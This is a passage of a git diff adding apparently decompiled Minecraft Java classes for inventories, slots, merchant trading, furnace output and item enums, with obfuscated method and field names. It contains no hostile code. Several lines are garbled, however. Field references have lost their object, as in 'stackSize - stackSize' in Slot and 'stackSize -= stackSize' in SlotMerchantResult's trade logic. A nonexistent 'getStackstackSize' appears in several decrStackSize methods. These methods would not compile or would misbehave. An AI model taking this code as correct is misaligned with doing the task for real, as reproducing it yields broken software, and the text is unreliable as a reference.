+  }
+  
+
+
+
+  public boolean isItemValidForSlot(int index, ItemStack stack)
+  {
+    return true;
+  }
+  
+  public int getField(int id)
+  {
+    return 0;
+  }
+  
+  public void setField(int id, int value) {}
+  
+  public int getFieldCount()
+  {
+    return 0;
+  }
+  
+  public boolean isLocked()
+  {
+    return (upperChest.isLocked()) || (lowerChest.isLocked());
+  }
+  
+  public void setLockCode(LockCode code)
+  {
+    upperChest.setLockCode(code);
+    lowerChest.setLockCode(code);
+  }
+  
+  public LockCode getLockCode()
+  {
+    return upperChest.getLockCode();
+  }
+  
+  public String getGuiID()
+  {
+    return upperChest.getGuiID();
+  }
+  
+  public Container createContainer(InventoryPlayer playerInventory, EntityPlayer playerIn)
+  {
+    return new ContainerChest(playerInventory, this, playerIn);
+  }
+  
+  public void clearInventory()
+  {
+    upperChest.clearInventory();
+    lowerChest.clearInventory();
+  }
+}
diff --git a/src/minecraft/net/minecraft/inventory/InventoryMerchant.java b/src/minecraft/net/minecraft/inventory/InventoryMerchant.java
new file mode 100644
index 0000000..694f143
--- /dev/null
+++ b/src/minecraft/net/minecraft/inventory/InventoryMerchant.java
@@ -0,0 +1,280 @@
+package net.minecraft.inventory;
+
+import net.minecraft.entity.IMerchant;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.village.MerchantRecipe;
+import net.minecraft.village.MerchantRecipeList;
+
+public class InventoryMerchant implements IInventory
+{
+  private final IMerchant theMerchant;
+  private ItemStack[] theInventory = new ItemStack[3];
+  private final EntityPlayer thePlayer;
+  private MerchantRecipe currentRecipe;
+  private int currentRecipeIndex;
+  private static final String __OBFID = "CL_00001756";
+  
+  public InventoryMerchant(EntityPlayer p_i1820_1_, IMerchant p_i1820_2_)
+  {
+    thePlayer = p_i1820_1_;
+    theMerchant = p_i1820_2_;
+  }
+  
+
+
+
+  public int getSizeInventory()
+  {
+    return theInventory.length;
+  }
+  
+
+
+
+  public ItemStack getStackInSlot(int slotIn)
+  {
+    return theInventory[slotIn];
+  }
+  
+
+
+
+
+  public ItemStack decrStackSize(int index, int count)
+  {
+    if (theInventory[index] != null)
+    {
+
+
+      if (index == 2)
+      {
+        ItemStack var3 = theInventory[index];
+        theInventory[index] = null;
+        return var3;
+      }
+      if (theInventory[index].stackSize <= count)
+      {
+        ItemStack var3 = theInventory[index];
+        theInventory[index] = null;
+        
+        if (inventoryResetNeededOnSlotChange(index))
+        {
+          resetRecipeAndSlots();
+        }
+        
+        return var3;
+      }
+      
+
+      ItemStack var3 = theInventory[index].splitStack(count);
+      
+      if (theInventory[index].stackSize == 0)
+      {
+        theInventory[index] = null;
+      }
+      
+      if (inventoryResetNeededOnSlotChange(index))
+      {
+        resetRecipeAndSlots();
+      }
+      
+      return var3;
+    }
+    
+
+
+    return null;
+  }
+  
+
+
+
+
+  private boolean inventoryResetNeededOnSlotChange(int p_70469_1_)
+  {
+    return (p_70469_1_ == 0) || (p_70469_1_ == 1);
+  }
+  
+
+
+
+
+  public ItemStack getStackInSlotOnClosing(int index)
+  {
+    if (theInventory[index] != null)
+    {
+      ItemStack var2 = theInventory[index];
+      theInventory[index] = null;
+      return var2;
+    }
+    
+
+    return null;
+  }
+  
+
+
+
+
+  public void setInventorySlotContents(int index, ItemStack stack)
+  {
+    theInventory[index] = stack;
+    
+    if ((stack != null) && (stackSize > getInventoryStackLimit()))
+    {
+      stackSize = getInventoryStackLimit();
+    }
+    
+    if (inventoryResetNeededOnSlotChange(index))
+    {
+      resetRecipeAndSlots();
+    }
+  }
+  
+
+
+
+  public String getName()
+  {
+    return "mob.villager";
+  }
+  
+
+
+
+  public boolean hasCustomName()
+  {
+    return false;
+  }
+  
+  public IChatComponent getDisplayName()
+  {
+    return hasCustomName() ? new ChatComponentText(getName()) : new ChatComponentTranslation(getName(), new Object[0]);
+  }
+  
+
+
+
+
+  public int getInventoryStackLimit()
+  {
+    return 64;
+  }
+  
+
+
+
+  public boolean isUseableByPlayer(EntityPlayer playerIn)
+  {
+    return theMerchant.getCustomer() == playerIn;
+  }
+  
+
+  public void openInventory(EntityPlayer playerIn) {}
+  
+
+  public void closeInventory(EntityPlayer playerIn) {}
+  
+
+  public boolean isItemValidForSlot(int index, ItemStack stack)
+  {
+    return true;
+  }
+  
+
+
+
+
+  public void markDirty()
+  {
+    resetRecipeAndSlots();
+  }
+  
+  public void resetRecipeAndSlots()
+  {
+    currentRecipe = null;
+    ItemStack var1 = theInventory[0];
+    ItemStack var2 = theInventory[1];
+    
+    if (var1 == null)
+    {
+      var1 = var2;
+      var2 = null;
+    }
+    
+    if (var1 == null)
+    {
+      setInventorySlotContents(2, null);
+    }
+    else
+    {
+      MerchantRecipeList var3 = theMerchant.getRecipes(thePlayer);
+      
+      if (var3 != null)
+      {
+        MerchantRecipe var4 = var3.canRecipeBeUsed(var1, var2, currentRecipeIndex);
+        
+        if ((var4 != null) && (!var4.isRecipeDisabled()))
+        {
+          currentRecipe = var4;
+          setInventorySlotContents(2, var4.getItemToSell().copy());
+        }
+        else if (var2 != null)
+        {
+          var4 = var3.canRecipeBeUsed(var2, var1, currentRecipeIndex);
+          
+          if ((var4 != null) && (!var4.isRecipeDisabled()))
+          {
+            currentRecipe = var4;
+            setInventorySlotContents(2, var4.getItemToSell().copy());
+          }
+          else
+          {
+            setInventorySlotContents(2, null);
+          }
+        }
+        else
+        {
+          setInventorySlotContents(2, null);
+        }
+      }
+    }
+    
+    theMerchant.verifySellingItem(getStackInSlot(2));
+  }
+  
+  public MerchantRecipe getCurrentRecipe()
+  {
+    return currentRecipe;
+  }
+  
+  public void setCurrentRecipeIndex(int p_70471_1_)
+  {
+    currentRecipeIndex = p_70471_1_;
+    resetRecipeAndSlots();
+  }
+  
+  public int getField(int id)
+  {
+    return 0;
+  }
+  
+  public void setField(int id, int value) {}
+  
+  public int getFieldCount()
+  {
+    return 0;
+  }
+  
+  public void clearInventory()
+  {
+    for (int var1 = 0; var1 < theInventory.length; var1++)
+    {
+      theInventory[var1] = null;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/inventory/Slot.java b/src/minecraft/net/minecraft/inventory/Slot.java
new file mode 100644
index 0000000..cc5f8ac
--- /dev/null
+++ b/src/minecraft/net/minecraft/inventory/Slot.java
@@ -0,0 +1,160 @@
+package net.minecraft.inventory;
+
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.item.ItemStack;
+
+
+
+
+
+
+
+
+
+
+public class Slot
+{
+  private final int slotIndex;
+  public final IInventory inventory;
+  public int slotNumber;
+  public int xDisplayPosition;
+  public int yDisplayPosition;
+  private static final String __OBFID = "CL_00001762";
+  
+  public Slot(IInventory p_i1824_1_, int p_i1824_2_, int p_i1824_3_, int p_i1824_4_)
+  {
+    inventory = p_i1824_1_;
+    slotIndex = p_i1824_2_;
+    xDisplayPosition = p_i1824_3_;
+    yDisplayPosition = p_i1824_4_;
+  }
+  
+
+
+
+  public void onSlotChange(ItemStack p_75220_1_, ItemStack p_75220_2_)
+  {
+    if ((p_75220_1_ != null) && (p_75220_2_ != null))
+    {
+      if (p_75220_1_.getItem() == p_75220_2_.getItem())
+      {
+        int var3 = stackSize - stackSize;
+        
+        if (var3 > 0)
+        {
+          onCrafting(p_75220_1_, var3);
+        }
+      }
+    }
+  }
+  
+
+
+
+  protected void onCrafting(ItemStack p_75210_1_, int p_75210_2_) {}
+  
+
+
+  protected void onCrafting(ItemStack p_75208_1_) {}
+  
+
+
+  public void onPickupFromSlot(EntityPlayer playerIn, ItemStack stack)
+  {
+    onSlotChanged();
+  }
+  
+
+
+
+  public boolean isItemValid(ItemStack stack)
+  {
+    return true;
+  }
+  
+
+
+
+  public ItemStack getStack()
+  {
+    return inventory.getStackInSlot(slotIndex);
+  }
+  
+
+
+
+  public boolean getHasStack()
+  {
+    return getStack() != null;
+  }
+  
+
+
+
+  public void putStack(ItemStack p_75215_1_)
+  {
+    inventory.setInventorySlotContents(slotIndex, p_75215_1_);
+    onSlotChanged();
+  }
+  
+
+
+
+  public void onSlotChanged()
+  {
+    inventory.markDirty();
+  }
+  
+
+
+
+
+  public int getSlotStackLimit()
+  {
+    return inventory.getInventoryStackLimit();
+  }
+  
+  public int func_178170_b(ItemStack p_178170_1_)
+  {
+    return getSlotStackLimit();
+  }
+  
+  public String func_178171_c()
+  {
+    return null;
+  }
+  
+
+
+
+
+  public ItemStack decrStackSize(int p_75209_1_)
+  {
+    return inventory.decrStackSize(slotIndex, p_75209_1_);
+  }
+  
+
+
+
+  public boolean isHere(IInventory p_75217_1_, int p_75217_2_)
+  {
+    return (p_75217_1_ == inventory) && (p_75217_2_ == slotIndex);
+  }
+  
+
+
+
+  public boolean canTakeStack(EntityPlayer p_82869_1_)
+  {
+    return true;
+  }
+  
+
+
+
+
+  public boolean canBeHovered()
+  {
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/inventory/SlotCrafting.java b/src/minecraft/net/minecraft/inventory/SlotCrafting.java
new file mode 100644
index 0000000..708ee7a
--- /dev/null
+++ b/src/minecraft/net/minecraft/inventory/SlotCrafting.java
@@ -0,0 +1,163 @@
+package net.minecraft.inventory;
+
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.Item.ToolMaterial;
+import net.minecraft.item.ItemHoe;
+import net.minecraft.item.ItemPickaxe;
+import net.minecraft.item.ItemStack;
+import net.minecraft.item.ItemSword;
+import net.minecraft.item.crafting.CraftingManager;
+import net.minecraft.stats.AchievementList;
+
+
+
+
+
+public class SlotCrafting
+  extends Slot
+{
+  private final InventoryCrafting craftMatrix;
+  private final EntityPlayer thePlayer;
+  private int amountCrafted;
+  private static final String __OBFID = "CL_00001761";
+  
+  public SlotCrafting(EntityPlayer p_i45790_1_, InventoryCrafting p_i45790_2_, IInventory p_i45790_3_, int p_i45790_4_, int p_i45790_5_, int p_i45790_6_)
+  {
+    super(p_i45790_3_, p_i45790_4_, p_i45790_5_, p_i45790_6_);
+    thePlayer = p_i45790_1_;
+    craftMatrix = p_i45790_2_;
+  }
+  
+
+
+
+  public boolean isItemValid(ItemStack stack)
+  {
+    return false;
+  }
+  
+
+
+
+
+  public ItemStack decrStackSize(int p_75209_1_)
+  {
+    if (getHasStack())
+    {
+      amountCrafted += Math.min(p_75209_1_, getStackstackSize);
+    }
+    
+    return super.decrStackSize(p_75209_1_);
+  }
+  
+
+
+
+
+  protected void onCrafting(ItemStack p_75210_1_, int p_75210_2_)
+  {
+    amountCrafted += p_75210_2_;
+    onCrafting(p_75210_1_);
+  }
+  
+
+
+
+  protected void onCrafting(ItemStack p_75208_1_)
+  {
+    if (amountCrafted > 0)
+    {
+      p_75208_1_.onCrafting(thePlayer.worldObj, thePlayer, amountCrafted);
+    }
+    
+    amountCrafted = 0;
+    
+    if (p_75208_1_.getItem() == Item.getItemFromBlock(Blocks.crafting_table))
+    {
+      thePlayer.triggerAchievement(AchievementList.buildWorkBench);
+    }
+    
+    if ((p_75208_1_.getItem() instanceof ItemPickaxe))
+    {
+      thePlayer.triggerAchievement(AchievementList.buildPickaxe);
+    }
+    
+    if (p_75208_1_.getItem() == Item.getItemFromBlock(Blocks.furnace))
+    {
+      thePlayer.triggerAchievement(AchievementList.buildFurnace);
+    }
+    
+    if ((p_75208_1_.getItem() instanceof ItemHoe))
+    {
+      thePlayer.triggerAchievement(AchievementList.buildHoe);
+    }
+    
+    if (p_75208_1_.getItem() == Items.bread)
+    {
+      thePlayer.triggerAchievement(AchievementList.makeBread);
+    }
+    
+    if (p_75208_1_.getItem() == Items.cake)
+    {
+      thePlayer.triggerAchievement(AchievementList.bakeCake);
+    }
+    
+    if (((p_75208_1_.getItem() instanceof ItemPickaxe)) && (((ItemPickaxe)p_75208_1_.getItem()).getToolMaterial() != Item.ToolMaterial.WOOD))
+    {
+      thePlayer.triggerAchievement(AchievementList.buildBetterPickaxe);
+    }
+    
+    if ((p_75208_1_.getItem() instanceof ItemSword))
+    {
+      thePlayer.triggerAchievement(AchievementList.buildSword);
+    }
+    
+    if (p_75208_1_.getItem() == Item.getItemFromBlock(Blocks.enchanting_table))
+    {
+      thePlayer.triggerAchievement(AchievementList.enchantments);
+    }
+    
+    if (p_75208_1_.getItem() == Item.getItemFromBlock(Blocks.bookshelf))
+    {
+      thePlayer.triggerAchievement(AchievementList.bookcase);
+    }
+    
+    if ((p_75208_1_.getItem() == Items.golden_apple) && (p_75208_1_.getMetadata() == 1))
+    {
+      thePlayer.triggerAchievement(AchievementList.overpowered);
+    }
+  }
+  
+  public void onPickupFromSlot(EntityPlayer playerIn, ItemStack stack)
+  {
+    onCrafting(stack);
+    ItemStack[] var3 = CraftingManager.getInstance().func_180303_b(craftMatrix, worldObj);
+    
+    for (int var4 = 0; var4 < var3.length; var4++)
+    {
+      ItemStack var5 = craftMatrix.getStackInSlot(var4);
+      ItemStack var6 = var3[var4];
+      
+      if (var5 != null)
+      {
+        craftMatrix.decrStackSize(var4, 1);
+      }
+      
+      if (var6 != null)
+      {
+        if (craftMatrix.getStackInSlot(var4) == null)
+        {
+          craftMatrix.setInventorySlotContents(var4, var6);
+        }
+        else if (!thePlayer.inventory.addItemStackToInventory(var6))
+        {
+          thePlayer.dropPlayerItemWithRandomChoice(var6, false);
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/inventory/SlotFurnaceFuel.java b/src/minecraft/net/minecraft/inventory/SlotFurnaceFuel.java
new file mode 100644
index 0000000..8575435
--- /dev/null
+++ b/src/minecraft/net/minecraft/inventory/SlotFurnaceFuel.java
@@ -0,0 +1,33 @@
+package net.minecraft.inventory;
+
+import net.minecraft.init.Items;
+import net.minecraft.item.ItemStack;
+import net.minecraft.tileentity.TileEntityFurnace;
+
+public class SlotFurnaceFuel extends Slot
+{
+  private static final String __OBFID = "CL_00002184";
+  
+  public SlotFurnaceFuel(IInventory p_i45795_1_, int p_i45795_2_, int p_i45795_3_, int p_i45795_4_)
+  {
+    super(p_i45795_1_, p_i45795_2_, p_i45795_3_, p_i45795_4_);
+  }
+  
+
+
+
+  public boolean isItemValid(ItemStack stack)
+  {
+    return (TileEntityFurnace.isItemFuel(stack)) || (func_178173_c_(stack));
+  }
+  
+  public int func_178170_b(ItemStack p_178170_1_)
+  {
+    return func_178173_c_(p_178170_1_) ? 1 : super.func_178170_b(p_178170_1_);
+  }
+  
+  public static boolean func_178173_c_(ItemStack p_178173_0_)
+  {
+    return (p_178173_0_ != null) && (p_178173_0_.getItem() != null) && (p_178173_0_.getItem() == Items.bucket);
+  }
+}
diff --git a/src/minecraft/net/minecraft/inventory/SlotFurnaceOutput.java b/src/minecraft/net/minecraft/inventory/SlotFurnaceOutput.java
new file mode 100644
index 0000000..a721670
--- /dev/null
+++ b/src/minecraft/net/minecraft/inventory/SlotFurnaceOutput.java
@@ -0,0 +1,111 @@
+package net.minecraft.inventory;
+
+import net.minecraft.entity.item.EntityXPOrb;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Items;
+import net.minecraft.item.ItemStack;
+import net.minecraft.item.crafting.FurnaceRecipes;
+import net.minecraft.stats.AchievementList;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+public class SlotFurnaceOutput extends Slot
+{
+  private EntityPlayer thePlayer;
+  private int field_75228_b;
+  private static final String __OBFID = "CL_00002183";
+  
+  public SlotFurnaceOutput(EntityPlayer p_i45793_1_, IInventory p_i45793_2_, int p_i45793_3_, int p_i45793_4_, int p_i45793_5_)
+  {
+    super(p_i45793_2_, p_i45793_3_, p_i45793_4_, p_i45793_5_);
+    thePlayer = p_i45793_1_;
+  }
+  
+
+
+
+  public boolean isItemValid(ItemStack stack)
+  {
+    return false;
+  }
+  
+
+
+
+
+  public ItemStack decrStackSize(int p_75209_1_)
+  {
+    if (getHasStack())
+    {
+      field_75228_b += Math.min(p_75209_1_, getStackstackSize);
+    }
+    
+    return super.decrStackSize(p_75209_1_);
+  }
+  
+  public void onPickupFromSlot(EntityPlayer playerIn, ItemStack stack)
+  {
+    onCrafting(stack);
+    super.onPickupFromSlot(playerIn, stack);
+  }
+  
+
+
+
+
+  protected void onCrafting(ItemStack p_75210_1_, int p_75210_2_)
+  {
+    field_75228_b += p_75210_2_;
+    onCrafting(p_75210_1_);
+  }
+  
+
+
+
+  protected void onCrafting(ItemStack p_75208_1_)
+  {
+    p_75208_1_.onCrafting(thePlayer.worldObj, thePlayer, field_75228_b);
+    
+    if (!thePlayer.worldObj.isRemote)
+    {
+      int var2 = field_75228_b;
+      float var3 = FurnaceRecipes.instance().getSmeltingExperience(p_75208_1_);
+      
+
+      if (var3 == 0.0F)
+      {
+        var2 = 0;
+      }
+      else if (var3 < 1.0F)
+      {
+        int var4 = MathHelper.floor_float(var2 * var3);
+        
+        if ((var4 < MathHelper.ceiling_float_int(var2 * var3)) && (Math.random() < var2 * var3 - var4))
+        {
+          var4++;
+        }
+        
+        var2 = var4;
+      }
+      
+      while (var2 > 0)
+      {
+        int var4 = EntityXPOrb.getXPSplit(var2);
+        var2 -= var4;
+        thePlayer.worldObj.spawnEntityInWorld(new EntityXPOrb(thePlayer.worldObj, thePlayer.posX, thePlayer.posY + 0.5D, thePlayer.posZ + 0.5D, var4));
+      }
+    }
+    
+    field_75228_b = 0;
+    
+    if (p_75208_1_.getItem() == Items.iron_ingot)
+    {
+      thePlayer.triggerAchievement(AchievementList.acquireIron);
+    }
+    
+    if (p_75208_1_.getItem() == Items.cooked_fish)
+    {
+      thePlayer.triggerAchievement(AchievementList.cookFish);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/inventory/SlotMerchantResult.java b/src/minecraft/net/minecraft/inventory/SlotMerchantResult.java
new file mode 100644
index 0000000..89b2d55
--- /dev/null
+++ b/src/minecraft/net/minecraft/inventory/SlotMerchantResult.java
@@ -0,0 +1,125 @@
+package net.minecraft.inventory;
+
+import net.minecraft.entity.IMerchant;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.item.ItemStack;
+import net.minecraft.stats.StatList;
+import net.minecraft.village.MerchantRecipe;
+
+
+
+
+
+public class SlotMerchantResult
+  extends Slot
+{
+  private final InventoryMerchant theMerchantInventory;
+  private EntityPlayer thePlayer;
+  private int field_75231_g;
+  private final IMerchant theMerchant;
+  private static final String __OBFID = "CL_00001758";
+  
+  public SlotMerchantResult(EntityPlayer p_i1822_1_, IMerchant p_i1822_2_, InventoryMerchant p_i1822_3_, int p_i1822_4_, int p_i1822_5_, int p_i1822_6_)
+  {
+    super(p_i1822_3_, p_i1822_4_, p_i1822_5_, p_i1822_6_);
+    thePlayer = p_i1822_1_;
+    theMerchant = p_i1822_2_;
+    theMerchantInventory = p_i1822_3_;
+  }
+  
+
+
+
+  public boolean isItemValid(ItemStack stack)
+  {
+    return false;
+  }
+  
+
+
+
+
+  public ItemStack decrStackSize(int p_75209_1_)
+  {
+    if (getHasStack())
+    {
+      field_75231_g += Math.min(p_75209_1_, getStackstackSize);
+    }
+    
+    return super.decrStackSize(p_75209_1_);
+  }
+  
+
+
+
+
+  protected void onCrafting(ItemStack p_75210_1_, int p_75210_2_)
+  {
+    field_75231_g += p_75210_2_;
+    onCrafting(p_75210_1_);
+  }
+  
+
+
+
+  protected void onCrafting(ItemStack p_75208_1_)
+  {
+    p_75208_1_.onCrafting(thePlayer.worldObj, thePlayer, field_75231_g);
+    field_75231_g = 0;
+  }
+  
+  public void onPickupFromSlot(EntityPlayer playerIn, ItemStack stack)
+  {
+    onCrafting(stack);
+    MerchantRecipe var3 = theMerchantInventory.getCurrentRecipe();
+    
+    if (var3 != null)
+    {
+      ItemStack var4 = theMerchantInventory.getStackInSlot(0);
+      ItemStack var5 = theMerchantInventory.getStackInSlot(1);
+      
+      if ((doTrade(var3, var4, var5)) || (doTrade(var3, var5, var4)))
+      {
+        theMerchant.useRecipe(var3);
+        playerIn.triggerAchievement(StatList.timesTradedWithVillagerStat);
+        
+        if ((var4 != null) && (stackSize <= 0))
+        {
+          var4 = null;
+        }
+        
+        if ((var5 != null) && (stackSize <= 0))
+        {
+          var5 = null;
+        }
+        
+        theMerchantInventory.setInventorySlotContents(0, var4);
+        theMerchantInventory.setInventorySlotContents(1, var5);
+      }
+    }
+  }
+  
+  private boolean doTrade(MerchantRecipe trade, ItemStack firstItem, ItemStack secondItem)
+  {
+    ItemStack var4 = trade.getItemToBuy();
+    ItemStack var5 = trade.getSecondItemToBuy();
+    
+    if ((firstItem != null) && (firstItem.getItem() == var4.getItem()))
+    {
+      if ((var5 != null) && (secondItem != null) && (var5.getItem() == secondItem.getItem()))
+      {
+        stackSize -= stackSize;
+        stackSize -= stackSize;
+        return true;
+      }
+      
+      if ((var5 == null) && (secondItem == null))
+      {
+        stackSize -= stackSize;
+        return true;
+      }
+    }
+    
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/EnumAction.java b/src/minecraft/net/minecraft/item/EnumAction.java
new file mode 100644
index 0000000..441f6bc
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/EnumAction.java
@@ -0,0 +1,15 @@
+package net.minecraft.item;
+
+public enum EnumAction
+{
+  NONE("NONE", 0), 
+  EAT("EAT", 1), 
+  DRINK("DRINK", 2), 
+  BLOCK("BLOCK", 3), 
+  BOW("BOW", 4);
+  
+  private static final EnumAction[] $VALUES = { NONE, EAT, DRINK, BLOCK, BOW };
+  private static final String __OBFID = "CL_00000073";
+  
+  private EnumAction(String p_i1910_1_, int p_i1910_2_) {}
+}
diff --git a/src/minecraft/net/minecraft/item/EnumDyeColor.java b/src/minecraft/net/minecraft/item/EnumDyeColor.java
new file mode 100644
index 0000000..2c49bf5
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/EnumDyeColor.java
@@ -0,0 +1,182 @@
+package net.minecraft.item;
+
+import net.minecraft.block.material.MapColor;
+import net.minecraft.util.EnumChatFormatting;
+import net.minecraft.util.IStringSerializable;
+
+public enum EnumDyeColor implements IStringSerializable
+{
+  WHITE("WHITE", 0, 0, 15, "white", "white", MapColor.snowColor, EnumChatFormatting.WHITE), 
+  ORANGE("ORANGE", 1, 1, 14, "orange", "orange", MapColor.adobeColor, EnumChatFormatting.GOLD), 
+  MAGENTA("MAGENTA", 2, 2, 13, "magenta", "magenta", MapColor.magentaColor, EnumChatFormatting.AQUA), 
+  LIGHT_BLUE("LIGHT_BLUE", 3, 3, 12, "light_blue", "lightBlue", MapColor.lightBlueColor, EnumChatFormatting.BLUE), 
+  YELLOW("YELLOW", 4, 4, 11, "yellow", "yellow", MapColor.yellowColor, EnumChatFormatting.YELLOW), 
+  LIME("LIME", 5, 5, 10, "lime", "lime", MapColor.limeColor, EnumChatFormatting.GREEN), 
+  PINK("PINK", 6, 6, 9, "pink", "pink", MapColor.pinkColor, EnumChatFormatting.LIGHT_PURPLE), 
+  GRAY("GRAY", 7, 7, 8, "gray", "gray", MapColor.grayColor, EnumChatFormatting.DARK_GRAY), 
+  SILVER("SILVER", 8, 8, 7, "silver", "silver", MapColor.silverColor, EnumChatFormatting.GRAY), 
+  CYAN("CYAN", 9, 9, 6, "cyan", "cyan", MapColor.cyanColor, EnumChatFormatting.DARK_AQUA), 
+  PURPLE("PURPLE", 10, 10, 5, "purple", "purple", MapColor.purpleColor, EnumChatFormatting.DARK_PURPLE), 
+  BLUE("BLUE", 11, 11, 4, "blue", "blue", MapColor.blueColor, EnumChatFormatting.DARK_BLUE), 
+  BROWN("BROWN", 12, 12, 3, "brown", "brown", MapColor.brownColor, EnumChatFormatting.GOLD), 
+  GREEN("GREEN", 13, 13, 2, "green", "green", MapColor.greenColor, EnumChatFormatting.DARK_GREEN), 
+  RED("RED", 14, 14, 1, "red", "red", MapColor.redColor, EnumChatFormatting.DARK_RED), 
+  BLACK("BLACK", 15, 15, 0, "black", "black", MapColor.blackColor, EnumChatFormatting.BLACK);
+  
+  private static final EnumDyeColor[] field_176790_q;
+  private static final EnumDyeColor[] field_176789_r;
+  private final int field_176788_s;
+  private final int field_176787_t;
+  private final String field_176786_u;
+  private final String field_176785_v;
+  private final MapColor field_176784_w;
+  private final EnumChatFormatting field_176793_x;
+  private static final EnumDyeColor[] $VALUES;
+  private static final String __OBFID = "CL_00002180";
+  
+  private EnumDyeColor(String p_i45786_1_, int p_i45786_2_, int p_i45786_3_, int p_i45786_4_, String p_i45786_5_, String p_i45786_6_, MapColor p_i45786_7_, EnumChatFormatting p_i45786_8_)
+  {
+    field_176788_s = p_i45786_3_;
+    field_176787_t = p_i45786_4_;
+    field_176786_u = p_i45786_5_;
+    field_176785_v = p_i45786_6_;
+    field_176784_w = p_i45786_7_;
+    field_176793_x = p_i45786_8_;
+  }
+  
+  public int func_176765_a()
+  {
+    return field_176788_s;
+  }
+  
+  public int getDyeColorDamage()
+  {
+    return field_176787_t;
+  }
+  
+  public String func_176762_d()
+  {
+    return field_176785_v;
+  }
+  
+  public MapColor func_176768_e()
+  {
+    return field_176784_w;
+  }
+  
+  public static EnumDyeColor func_176766_a(int p_176766_0_)
+  {
+    if ((p_176766_0_ < 0) || (p_176766_0_ >= field_176789_r.length))
+    {
+      p_176766_0_ = 0;
+    }
+    
+    return field_176789_r[p_176766_0_];
+  }
+  
+  public static EnumDyeColor func_176764_b(int p_176764_0_)
+  {
+    if ((p_176764_0_ < 0) || (p_176764_0_ >= field_176790_q.length))
+    {
+      p_176764_0_ = 0;
+    }
+    
+    return field_176790_q[p_176764_0_];
+  }
+  
+  public String toString()
+  {
+    return field_176785_v;
+  }
+  
+  public String getName()
+  {
+    return field_176786_u;
+  }
+  
+  static
+  {
+    field_176790_q = new EnumDyeColor[values().length];
+    field_176789_r = new EnumDyeColor[values().length];
+    
+
+
+
+
+
+
+    $VALUES = new EnumDyeColor[] { WHITE, ORANGE, MAGENTA, LIGHT_BLUE, YELLOW, LIME, PINK, GRAY, SILVER, CYAN, PURPLE, BLUE, BROWN, GREEN, RED, BLACK };
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    EnumDyeColor[] var0 = values();
+    int var1 = var0.length;
+    
+    for (int var2 = 0; var2 < var1; var2++)
+    {
+      EnumDyeColor var3 = var0[var2];
+      field_176790_q[var3.func_176765_a()] = var3;
+      field_176789_r[var3.getDyeColorDamage()] = var3;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/EnumRarity.java b/src/minecraft/net/minecraft/item/EnumRarity.java
new file mode 100644
index 0000000..9467bf2
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/EnumRarity.java
@@ -0,0 +1,29 @@
+package net.minecraft.item;
+
+import net.minecraft.util.EnumChatFormatting;
+
+public enum EnumRarity
+{
+  COMMON("COMMON", 0, EnumChatFormatting.WHITE, "Common"), 
+  UNCOMMON("UNCOMMON", 1, EnumChatFormatting.YELLOW, "Uncommon"), 
+  RARE("RARE", 2, EnumChatFormatting.AQUA, "Rare"), 
+  EPIC("EPIC", 3, EnumChatFormatting.LIGHT_PURPLE, "Epic");
+  
+
+
+
+  public final EnumChatFormatting rarityColor;
+  
+
+  public final String rarityName;
+  
+
+  private static final EnumRarity[] $VALUES = { COMMON, UNCOMMON, RARE, EPIC };
+  private static final String __OBFID = "CL_00000056";
+  
+  private EnumRarity(String p_i45349_1_, int p_i45349_2_, EnumChatFormatting p_i45349_3_, String p_i45349_4_)
+  {
+    rarityColor = p_i45349_3_;
+    rarityName = p_i45349_4_;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/Item.java b/src/minecraft/net/minecraft/item/Item.java
new file mode 100644
index 0000000..4f0efc8
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/Item.java
@@ -0,0 +1,1133 @@
+package net.minecraft.item;
+
+import com.google.common.base.Function;
+import com.google.common.collect.HashMultimap;
+import com.google.common.collect.Maps;
+import com.google.common.collect.Multimap;
+import java.util.List;
+import java.util.Map;
+import java.util.Random;
+import java.util.UUID;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockDirt.DirtType;
+import net.minecraft.block.BlockDoublePlant.EnumPlantType;
+import net.minecraft.block.BlockFlower.EnumFlowerColor;
+import net.minecraft.block.BlockFlower.EnumFlowerType;
+import net.minecraft.block.BlockPlanks.EnumType;
+import net.minecraft.block.BlockPrismarine.EnumType;
+import net.minecraft.block.BlockRedSandstone.EnumType;
+import net.minecraft.block.BlockSand.EnumType;
+import net.minecraft.block.BlockSandStone.EnumType;
+import net.minecraft.block.BlockSilverfish.EnumType;
+import net.minecraft.block.BlockStone.EnumType;
+import net.minecraft.block.BlockStoneBrick.EnumType;
+import net.minecraft.block.BlockWall.EnumType;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.item.EntityMinecart.EnumMinecartType;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.potion.Potion;
+import net.minecraft.potion.PotionHelper;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.MovingObjectPosition;
+import net.minecraft.util.RegistryNamespaced;
+import net.minecraft.util.RegistryNamespacedDefaultedByKey;
+import net.minecraft.util.ResourceLocation;
